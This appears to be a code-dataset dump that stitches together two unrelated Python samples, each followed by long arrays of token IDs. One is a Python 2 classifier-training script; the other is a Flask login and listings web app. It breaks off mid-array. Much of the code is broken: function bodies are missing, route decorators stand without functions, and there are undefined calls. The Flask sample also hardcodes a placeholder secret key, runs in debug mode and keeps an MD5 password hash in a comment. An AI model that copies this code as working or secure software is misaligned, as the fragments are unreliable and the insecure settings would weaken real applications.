source2_pos=part1_pos_walk_200) part1_pos_10_walk_dv = combineData(source1_pos=part1_pos_10, source3_pos=part1_pos_200, source2_pos=part1_pos_walk_200) # 12294 part2_pos_10_walk = combineData(source1_pos=part2_pos_10, source2_pos=part2_pos_walk_200) part2_pos_10_walk_dv = combineData(source1_pos=part2_pos_10, source3_pos=part2_pos_200, source2_pos=part2_pos_walk_200) # 895 part3_pos_10_walk = combineData(source1_pos=part3_pos_10, source2_pos=part3_pos_walk_200) part3_pos_10_walk_dv = combineData(source1_pos=part3_pos_10, source3_pos=part3_pos_200, source2_pos=part3_pos_walk_200) # 1992 part4_pos_10_walk = combineData(source1_pos=part4_pos_10, source2_pos=part4_pos_walk_200) part4_pos_10_walk_dv = combineData(source1_pos=part4_pos_10, source3_pos=part4_pos_200, source2_pos=part4_pos_walk_200) # 5952 part5_pos_10_walk = combineData(source1_pos=part5_pos_10, source2_pos=part5_pos_walk_200) part5_pos_10_walk_dv = combineData(source1_pos=part5_pos_10, source3_pos=part5_pos_200, source2_pos=part5_pos_walk_200) (combPos_10_walk, combNeg_10_walk) = combineData(source1_pos=global_pos_10, source1_neg=global_neg_10, source2_pos=global_pos_walk_200, source2_neg=global_neg_walk_200, source3_pos=None, source3_neg=None) (combPos_10_walk_dv, combNeg_10_walk_dv) = combineData(source1_pos=global_pos_10, source1_neg=global_neg_10, source2_pos=global_pos_walk_200, source2_neg=global_neg_walk_200, source3_pos=global_pos_200, source3_neg=global_neg_200) # functions # general function for taking samples from a list print 'defining function...' # averaging the results from trials # input should be lists of 10 or 210 dimensions # trialsWithVariedTrainSize if __name__ == "__main__": # experiment execution print "start training..." print 'part1 vs others classifer...' # 10_walk_dv print "train part1 test other parts with 10_walk_dv..." (part1_10_walk_dv, generalResultsPosNumRef) = trialsWithVariedTrainSize(num_pos_sample=901, num_pos_sample_cap=901, neg_pos_ratio=1, pos_training_dataset=part1_pos_10_walk_dv, pos_testing_dataset=part2_pos_10_walk_dv + part3_pos_10_walk_dv + part4_pos_10_walk_dv + part5_pos_10_walk_dv, neg_dataset=combNeg_10_walk_dv, train_test_split=0, test_stratify=True, scoring="f1", plt_or_not=False, save=False) targ = part1_10_walk_dv max_f1 = max(targ[0][3]) # 0.5885 index_max_f1 = targ[0][3].index(max(targ[0][3])) # 73 prec_at_max_f1 = targ[0][1][index_max_f1] # 0.5536 rec_at_max_f1 = targ[0][2][index_max_f1] # 0.6204 print "index: %d, f1: %f, prec: %f, rec: %f" % ( index_max_f1, round(max_f1, 4), round(prec_at_max_f1, 4), round(rec_at_max_f1, 4)) print 'done!'
[ 6738, 11593, 37443, 834, 1330, 7297, 198, 11748, 33918, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 640, 198, 11748, 4738, 198, 6738, 1341, 35720, 13, 29127, 62, 19849, 1330, 5972, 2569, 8081, 2234, 33538, 198, 6738, 1341, 35720, 13, 1072, 11306, 1330, 14534, 34605, 9487, 7483, 355, 30978, 198, 11748, 19798, 292, 355, 279, 67, 198, 11748, 10088, 198, 6738, 1341, 35720, 13, 4164, 10466, 1330, 686, 66, 62, 22019, 303, 11, 15440, 62, 8344, 439, 62, 22019, 303, 11, 15440, 62, 8344, 439, 62, 69, 26675, 62, 11284, 198, 198, 4798, 705, 3955, 15490, 8643, 25, 6306, 460, 307, 9518, 416, 5609, 11507, 17790, 287, 1388, 2163, 13679, 198, 4798, 705, 25138, 1366, 986, 6, 198, 3911, 16, 62, 1930, 62, 940, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 16, 62, 1930, 62, 940, 13, 17752, 11074, 961, 28955, 220, 1303, 1315, 4309, 198, 3911, 16, 62, 1930, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 16, 62, 1930, 62, 2167, 62, 20521, 13, 17752, 11074, 961, 28955, 198, 3911, 16, 62, 1930, 62, 11152, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 16, 62, 1930, 62, 2167, 62, 11152, 13, 17752, 11074, 961, 28955, 198, 3911, 17, 62, 1930, 62, 940, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 17, 62, 1930, 62, 940, 13, 17752, 11074, 961, 28955, 220, 1303, 1987, 28072, 198, 3911, 17, 62, 1930, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 17, 62, 1930, 62, 2167, 62, 20521, 13, 17752, 11074, 961, 28955, 198, 3911, 17, 62, 1930, 62, 11152, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 17, 62, 1930, 62, 2167, 62, 11152, 13, 17752, 11074, 961, 28955, 198, 3911, 18, 62, 1930, 62, 940, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 18, 62, 1930, 62, 940, 13, 17752, 11074, 961, 28955, 220, 1303, 1511, 4310, 198, 3911, 18, 62, 1930, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 18, 62, 1930, 62, 2167, 62, 20521, 13, 17752, 11074, 961, 28955, 198, 3911, 18, 62, 1930, 62, 11152, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 18, 62, 1930, 62, 2167, 62, 11152, 13, 17752, 11074, 961, 28955, 198, 3911, 19, 62, 1930, 62, 940, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 19, 62, 1930, 62, 940, 13, 17752, 11074, 961, 28955, 220, 1303, 4747, 2079, 198, 3911, 19, 62, 1930, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 19, 62, 1930, 62, 2167, 62, 20521, 13, 17752, 11074, 961, 28955, 198, 3911, 19, 62, 1930, 62, 11152, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 19, 62, 1930, 62, 2167, 62, 11152, 13, 17752, 11074, 961, 28955, 198, 3911, 20, 62, 1930, 62, 940, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 20, 62, 1930, 62, 940, 13, 17752, 11074, 961, 28955, 220, 1303, 1367, 46589, 198, 3911, 20, 62, 1930, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 20, 62, 1930, 62, 2167, 62, 20521, 13, 17752, 11074, 961, 28955, 198, 3911, 20, 62, 1930, 62, 11152, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 3911, 20, 62, 1930, 62, 2167, 62, 11152, 13, 17752, 11074, 961, 28955, 198, 198, 20541, 62, 1930, 62, 940, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 20541, 62, 1930, 62, 940, 13, 17752, 11074, 961, 28955, 220, 1303, 1315, 4309, 198, 20541, 62, 1930, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 20541, 62, 1930, 62, 2167, 62, 20521, 13, 17752, 11074, 961, 28955, 198, 20541, 62, 1930, 62, 11152, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 20541, 62, 1930, 62, 2167, 62, 11152, 13, 17752, 11074, 961, 28955, 198, 20541, 62, 12480, 62, 940, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 20541, 62, 12480, 62, 940, 13, 17752, 11074, 961, 28955, 220, 1303, 1315, 4309, 198, 20541, 62, 12480, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 20541, 62, 12480, 62, 2167, 62, 20521, 13, 17752, 11074, 961, 28955, 198, 20541, 62, 12480, 62, 11152, 62, 2167, 796, 33918, 13, 46030, 7, 9654, 7203, 3605, 62, 9395, 929, 62, 20541, 62, 12480, 62, 2167, 62, 11152, 13, 17752, 11074, 961, 28955, 628, 198, 198, 2, 17790, 286, 1123, 18398, 198, 2, 860, 486, 198, 3911, 16, 62, 1930, 62, 940, 62, 11152, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 16, 62, 1930, 62, 940, 11, 2723, 17, 62, 1930, 28, 3911, 16, 62, 1930, 62, 11152, 62, 2167, 8, 198, 3911, 16, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 16, 62, 1930, 62, 940, 11, 2723, 18, 62, 1930, 28, 3911, 16, 62, 1930, 62, 2167, 11, 2723, 17, 62, 1930, 28, 3911, 16, 62, 1930, 62, 11152, 62, 2167, 8, 198, 2, 1105, 27696, 198, 3911, 17, 62, 1930, 62, 940, 62, 11152, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 17, 62, 1930, 62, 940, 11, 2723, 17, 62, 1930, 28, 3911, 17, 62, 1930, 62, 11152, 62, 2167, 8, 198, 3911, 17, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 17, 62, 1930, 62, 940, 11, 2723, 18, 62, 1930, 28, 3911, 17, 62, 1930, 62, 2167, 11, 2723, 17, 62, 1930, 28, 3911, 17, 62, 1930, 62, 11152, 62, 2167, 8, 198, 2, 807, 3865, 198, 3911, 18, 62, 1930, 62, 940, 62, 11152, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 18, 62, 1930, 62, 940, 11, 2723, 17, 62, 1930, 28, 3911, 18, 62, 1930, 62, 11152, 62, 2167, 8, 198, 3911, 18, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 18, 62, 1930, 62, 940, 11, 2723, 18, 62, 1930, 28, 3911, 18, 62, 1930, 62, 2167, 11, 2723, 17, 62, 1930, 28, 3911, 18, 62, 1930, 62, 11152, 62, 2167, 8, 198, 2, 9768, 198, 3911, 19, 62, 1930, 62, 940, 62, 11152, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 19, 62, 1930, 62, 940, 11, 2723, 17, 62, 1930, 28, 3911, 19, 62, 1930, 62, 11152, 62, 2167, 8, 198, 3911, 19, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 19, 62, 1930, 62, 940, 11, 2723, 18, 62, 1930, 28, 3911, 19, 62, 1930, 62, 2167, 11, 2723, 17, 62, 1930, 28, 3911, 19, 62, 1930, 62, 11152, 62, 2167, 8, 198, 2, 642, 49234, 198, 3911, 20, 62, 1930, 62, 940, 62, 11152, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 20, 62, 1930, 62, 940, 11, 2723, 17, 62, 1930, 28, 3911, 20, 62, 1930, 62, 11152, 62, 2167, 8, 198, 3911, 20, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 3911, 20, 62, 1930, 62, 940, 11, 2723, 18, 62, 1930, 28, 3911, 20, 62, 1930, 62, 2167, 11, 2723, 17, 62, 1930, 28, 3911, 20, 62, 1930, 62, 11152, 62, 2167, 8, 198, 198, 7, 24011, 21604, 62, 940, 62, 11152, 11, 1974, 32863, 62, 940, 62, 11152, 8, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 20541, 62, 1930, 62, 940, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 16, 62, 12480, 28, 20541, 62, 12480, 62, 940, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 17, 62, 1930, 28, 20541, 62, 1930, 62, 11152, 62, 2167, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 17, 62, 12480, 28, 20541, 62, 12480, 62, 11152, 62, 2167, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 18, 62, 1930, 28, 14202, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 18, 62, 12480, 28, 14202, 8, 198, 7, 24011, 21604, 62, 940, 62, 11152, 62, 67, 85, 11, 1974, 32863, 62, 940, 62, 11152, 62, 67, 85, 8, 796, 12082, 6601, 7, 10459, 16, 62, 1930, 28, 20541, 62, 1930, 62, 940, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 16, 62, 12480, 28, 20541, 62, 12480, 62, 940, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 17, 62, 1930, 28, 20541, 62, 1930, 62, 11152, 62, 2167, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 17, 62, 12480, 28, 20541, 62, 12480, 62, 11152, 62, 2167, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 18, 62, 1930, 28, 20541, 62, 1930, 62, 2167, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2723, 18, 62, 12480, 28, 20541, 62, 12480, 62, 2167, 8, 198, 198, 2, 5499, 198, 2, 2276, 2163, 329, 2263, 8405, 422, 257, 1351, 198, 4798, 705, 4299, 3191, 2163, 986, 6, 628, 198, 198, 2, 20430, 262, 2482, 422, 9867, 628, 198, 2, 5128, 815, 307, 8341, 286, 838, 393, 20064, 15225, 628, 198, 2, 9867, 3152, 19852, 798, 44077, 10699, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 1303, 6306, 9706, 198, 220, 220, 220, 3601, 366, 9688, 3047, 9313, 198, 220, 220, 220, 3601, 705, 3911, 16, 3691, 1854, 1398, 7087, 986, 6, 198, 220, 220, 220, 1303, 838, 62, 11152, 62, 67, 85, 198, 220, 220, 220, 3601, 366, 27432, 636, 16, 1332, 584, 3354, 351, 838, 62, 11152, 62, 67, 85, 9313, 198, 220, 220, 220, 357, 3911, 16, 62, 940, 62, 11152, 62, 67, 85, 11, 2276, 25468, 21604, 33111, 8134, 8, 796, 9867, 3152, 19852, 798, 44077, 10699, 7, 22510, 62, 1930, 62, 39873, 28, 46815, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 1930, 62, 39873, 62, 11128, 28, 46815, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2469, 62, 1930, 62, 10366, 952, 28, 16, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1426, 62, 34409, 62, 19608, 292, 316, 28, 3911, 16, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1426, 62, 33407, 62, 19608, 292, 316, 28, 3911, 17, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 1343, 636, 18, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 1343, 636, 19, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 1343, 636, 20, 62, 1930, 62, 940, 62, 11152, 62, 67, 85, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2469, 62, 19608, 292, 316, 28, 24011, 32863, 62, 940, 62, 11152, 62, 67, 85, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4512, 62, 9288, 62, 35312, 28, 15, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1332, 62, 2536, 265, 1958, 28, 17821, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9689, 2625, 69, 16, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 458, 83, 62, 273, 62, 1662, 28, 25101, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3613, 28, 25101, 8, 628, 220, 220, 220, 2103, 796, 636, 16, 62, 940, 62, 11152, 62, 67, 85, 198, 220, 220, 220, 3509, 62, 69, 16, 796, 3509, 7, 83, 853, 58, 15, 7131, 18, 12962, 220, 1303, 657, 13, 3365, 5332, 198, 220, 220, 220, 6376, 62, 9806, 62, 69, 16, 796, 2103, 58, 15, 7131, 18, 4083, 9630, 7, 9806, 7, 83, 853, 58, 15, 7131, 18, 60, 4008, 220, 1303, 8854, 198, 220, 220, 220, 3718, 62, 265, 62, 9806, 62, 69, 16, 796, 2103, 58, 15, 7131, 16, 7131, 9630, 62, 9806, 62, 69, 16, 60, 220, 1303, 657, 13, 2816, 2623, 198, 220, 220, 220, 664, 62, 265, 62, 9806, 62, 69, 16, 796, 2103, 58, 15, 7131, 17, 7131, 9630, 62, 9806, 62, 69, 16, 60, 220, 1303, 657, 13, 21, 18638, 628, 220, 220, 220, 3601, 366, 9630, 25, 4064, 67, 11, 277, 16, 25, 4064, 69, 11, 3718, 25, 4064, 69, 11, 664, 25, 4064, 69, 1, 4064, 357, 198, 220, 220, 220, 220, 220, 220, 220, 6376, 62, 9806, 62, 69, 16, 11, 2835, 7, 9806, 62, 69, 16, 11, 604, 828, 2835, 7, 3866, 66, 62, 265, 62, 9806, 62, 69, 16, 11, 604, 828, 2835, 7, 8344, 62, 265, 62, 9806, 62, 69, 16, 11, 604, 4008, 198, 220, 220, 220, 3601, 705, 28060, 13679, 198 ]
1.888451
3,299
# app.py import pprint import json import bson import jwt import pymongo import mongomock import requests from flask import Flask from flask import jsonify from flask import request from flask import Response from flask import abort from flask import json,jsonify, make_response,session from flask import render_template,request,redirect,url_for from apymongodb import APymongodb import reviewapi import query SECRET_KEY = "Secret Key" #app = Flask(__name__) #app.config.from_object(__name__) # create flask instance app=create_app() app = Flask(__name__) app.config.from_object(__name__) mongodb_uri="project-mongodb" login_uri="porject-login-flask" endpoint_access = {'N': ['login'], 'S': ['login']} def mock_project_mongo_db(): """ create a mock db for usint testing. """ mock_pymondb = APymongodb(test=True) mock_pymondb.create_db_from_csv() mock_pymondb.create_auth_db() return mock_pymondb.db @app.route('/',methods=['GET']) def hello_world(): """ default route for the Team Elf's home page """ return '<h1 align=center>Hello, Welcome to the Project webserver of team ELFs</h1>' @app.route('/maps',methods=['GET']) def maps(): """ default route for the Team Elf's home page """ return render_template('maps.html',response=request.response) @app.route('/login', methods=['POST','GET']) def app_login(): """ the route for login. This will talk to a standalone app which is running in the container login-flask:5000 """ error=None if app.testing: return bson.json_util.dumps({'status': 'success'}) else: print("received requests") if request.method == 'POST': try: #print("request data from browser:", request.data) #print("request data from browser:", json.loads(request.data)) #rcv_login_req = json.loads(request.data) #print("request json from browser:", rcv_login_req) email_addr=request.form['username'] password=request.form['password'] print(email_addr, ",", password) rcv_login_req={'email_address':email_addr, 'password':password} # request the login-app to authenticate the user #pdata1 = {'email_address':'[email protected]', 'password':'5f4dcc3b5aa765d61d8327deb882cf99'} headers = {'content-type': 'application/json'} r = requests.post('http://project-login-flask:5000/login', data=bson.json_util.dumps(rcv_login_req), headers=headers) #print("send request", dir(r)) #r = requests.get('http://login-flask:5000/') #print("response:", dir(r)) print("response.text:", r.text) print("response.status_code", r.status_code) #print("response.json", r.json) # TODO: Return the JWT here session['Authorization']=json.loads(r.text)['auth_token'] #return redirect(url_for('order_books')) #return render_template('login_success.html', error=error) return '<h1>'+"Success"+'</h1>' except Exception as e: print("exception:", str(e)) #return '<h1>'+"error"+'</h1>' return render_template('login.html', error=error) @app.route('/review/<string:listing_id>', methods=['GET']) @app.route('/loginsuccess', methods=['GET']) # Test using -> curl -X POST -H 'Content-Type: application/json' http://127.0.0.1/getlistings -d '{"bedrooms":"5.0"}' # See https://gist.github.com/subfuzion/08c5d85437d5d4f00e58 # Run project/run_proj.sh #http://ec2-18-191-206-216.us-east-2.compute.amazonaws.com/getlistings?zipcode=3018&bedrooms=1&accomodates=0 @app.route('/getlistings', methods=['GET']) if __name__ == '__main__': # app = Flask(__name__) app.run(host='127.0.0.1',port=5000,debug=True)
[ 2, 598, 13, 9078, 198, 198, 11748, 279, 4798, 198, 11748, 33918, 198, 11748, 275, 1559, 198, 11748, 474, 46569, 198, 198, 11748, 279, 4948, 25162, 198, 11748, 285, 506, 296, 735, 198, 11748, 7007, 198, 6738, 42903, 1330, 46947, 198, 6738, 42903, 1330, 33918, 1958, 198, 6738, 42903, 1330, 2581, 198, 6738, 42903, 1330, 18261, 198, 6738, 42903, 1330, 15614, 198, 6738, 42903, 1330, 33918, 11, 17752, 1958, 11, 787, 62, 26209, 11, 29891, 198, 6738, 42903, 1330, 8543, 62, 28243, 11, 25927, 11, 445, 1060, 11, 6371, 62, 1640, 198, 6738, 2471, 4948, 506, 375, 65, 1330, 3486, 4948, 506, 375, 65, 198, 11748, 2423, 15042, 198, 11748, 12405, 198, 23683, 26087, 62, 20373, 796, 366, 23725, 7383, 1, 198, 198, 2, 1324, 796, 46947, 7, 834, 3672, 834, 8, 198, 2, 1324, 13, 11250, 13, 6738, 62, 15252, 7, 834, 3672, 834, 8, 198, 2, 2251, 42903, 4554, 198, 1324, 28, 17953, 62, 1324, 3419, 198, 198, 1324, 796, 46947, 7, 834, 3672, 834, 8, 198, 1324, 13, 11250, 13, 6738, 62, 15252, 7, 834, 3672, 834, 8, 628, 198, 31059, 375, 65, 62, 9900, 2625, 16302, 12, 31059, 375, 65, 1, 198, 38235, 62, 9900, 2625, 1819, 752, 12, 38235, 12, 2704, 2093, 1, 198, 198, 437, 4122, 62, 15526, 796, 1391, 6, 45, 10354, 37250, 38235, 6, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 50, 10354, 37250, 38235, 20520, 92, 198, 198, 4299, 15290, 62, 16302, 62, 76, 25162, 62, 9945, 33529, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2251, 257, 15290, 20613, 329, 514, 600, 4856, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 15290, 62, 79, 4948, 623, 65, 796, 3486, 4948, 506, 375, 65, 7, 9288, 28, 17821, 8, 198, 220, 220, 220, 15290, 62, 79, 4948, 623, 65, 13, 17953, 62, 9945, 62, 6738, 62, 40664, 3419, 198, 220, 220, 220, 15290, 62, 79, 4948, 623, 65, 13, 17953, 62, 18439, 62, 9945, 3419, 198, 220, 220, 220, 1441, 15290, 62, 79, 4948, 623, 65, 13, 9945, 628, 628, 198, 198, 31, 1324, 13, 38629, 10786, 14, 3256, 24396, 82, 28, 17816, 18851, 6, 12962, 198, 4299, 23748, 62, 6894, 33529, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4277, 6339, 329, 262, 4816, 19067, 338, 1363, 2443, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1441, 705, 27, 71, 16, 10548, 28, 16159, 29, 15496, 11, 19134, 284, 262, 4935, 2639, 18497, 286, 1074, 17852, 42388, 3556, 71, 16, 29, 6, 198, 198, 31, 1324, 13, 38629, 10786, 14, 31803, 3256, 24396, 82, 28, 17816, 18851, 6, 12962, 198, 4299, 8739, 33529, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4277, 6339, 329, 262, 4816, 19067, 338, 1363, 2443, 198, 220, 220, 